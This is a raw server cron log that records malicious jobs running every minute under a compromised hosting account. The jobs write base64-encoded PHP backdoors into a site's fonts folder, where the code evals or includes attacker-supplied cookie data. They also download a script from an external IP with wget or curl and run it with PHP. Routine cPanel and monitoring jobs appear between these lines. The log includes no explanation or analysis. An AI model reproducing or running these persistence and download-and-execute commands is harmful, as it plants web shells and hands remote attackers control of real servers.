Sep  6 22:58:01 ip-184-168-122-23 CROND[9026]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 22:58:01 ip-184-168-122-23 CROND[9027]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 22:58:01 ip-184-168-122-23 CROND[9029]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 22:59:01 ip-184-168-122-23 CROND[9111]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 22:59:01 ip-184-168-122-23 CROND[9115]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 22:59:01 ip-184-168-122-23 CROND[9114]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 22:59:01 ip-184-168-122-23 CROND[9113]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 23:00:01 ip-184-168-122-23 CROND[9210]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 23:00:01 ip-184-168-122-23 CROND[9211]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  6 23:00:01 ip-184-168-122-23 CROND[9215]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 23:00:01 ip-184-168-122-23 CROND[9216]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 23:00:01 ip-184-168-122-23 CROND[9218]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 23:00:01 ip-184-168-122-23 CROND[9219]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 23:00:01 ip-184-168-122-23 CROND[9221]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 23:00:01 ip-184-168-122-23 CROND[9217]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 23:01:02 ip-184-168-122-23 CROND[9313]: (root) CMD (run-parts /etc/cron.hourly)
Sep  6 23:01:02 ip-184-168-122-23 run-parts(/etc/cron.hourly)[9313]: starting 0anacron
Sep  6 23:01:02 ip-184-168-122-23 CROND[9321]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 23:01:02 ip-184-168-122-23 CROND[9324]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 23:01:02 ip-184-168-122-23 CROND[9322]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  6 23:01:02 ip-184-168-122-23 CROND[9326]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 23:01:02 ip-184-168-122-23 CROND[9325]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 23:01:02 ip-184-168-122-23 run-parts(/etc/cron.hourly)[9327]: finished 0anacron
Sep  6 23:02:01 ip-184-168-122-23 CROND[9409]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 23:02:01 ip-184-168-122-23 CROND[9410]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 23:02:01 ip-184-168-122-23 CROND[9413]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 23:02:01 ip-184-168-122-23 CROND[9414]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 23:02:01 ip-184-168-122-23 CROND[9415]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 23:03:01 ip-184-168-122-23 CROND[9489]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 23:03:01 ip-184-168-122-23 CROND[9490]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 23:03:01 ip-184-168-122-23 CROND[9492]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 23:03:01 ip-184-168-122-23 CROND[9491]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 23:04:01 ip-184-168-122-23 CROND[9659]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 23:04:02 ip-184-168-122-23 CROND[9661]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 23:04:02 ip-184-168-122-23 CROND[9664]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 23:04:02 ip-184-168-122-23 CROND[9662]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 23:04:02 ip-184-168-122-23 CROND[9663]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 23:05:01 ip-184-168-122-23 CROND[9748]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 23:05:01 ip-184-168-122-23 CROND[9749]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 23:05:01 ip-184-168-122-23 CROND[9752]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 23:05:01 ip-184-168-122-23 CROND[9754]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 23:05:01 ip-184-168-122-23 CROND[9755]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  6 23:05:01 ip-184-168-122-23 CROND[9757]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 23:05:01 ip-184-168-122-23 CROND[9756]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 23:06:01 ip-184-168-122-23 CROND[9855]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 23:06:01 ip-184-168-122-23 CROND[9857]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 23:06:01 ip-184-168-122-23 CROND[9856]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 23:06:01 ip-184-168-122-23 CROND[9859]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 23:06:01 ip-184-168-122-23 CROND[9858]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 23:07:02 ip-184-168-122-23 CROND[9981]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 23:07:02 ip-184-168-122-23 CROND[9982]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 23:07:02 ip-184-168-122-23 CROND[9983]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 23:07:02 ip-184-168-122-23 CROND[9984]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 23:08:01 ip-184-168-122-23 CROND[10059]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 23:08:01 ip-184-168-122-23 CROND[10060]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 23:08:01 ip-184-168-122-23 CROND[10061]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 23:08:01 ip-184-168-122-23 CROND[10062]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 23:08:01 ip-184-168-122-23 CROND[10064]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 23:09:01 ip-184-168-122-23 CROND[10231]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 23:09:02 ip-184-168-122-23 CROND[10236]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 23:09:02 ip-184-168-122-23 CROND[10233]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 23:09:02 ip-184-168-122-23 CROND[10234]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  6 23:09:02 ip-184-168-122-23 CROND[10237]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 23:10:01 ip-184-168-122-23 CROND[10329]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
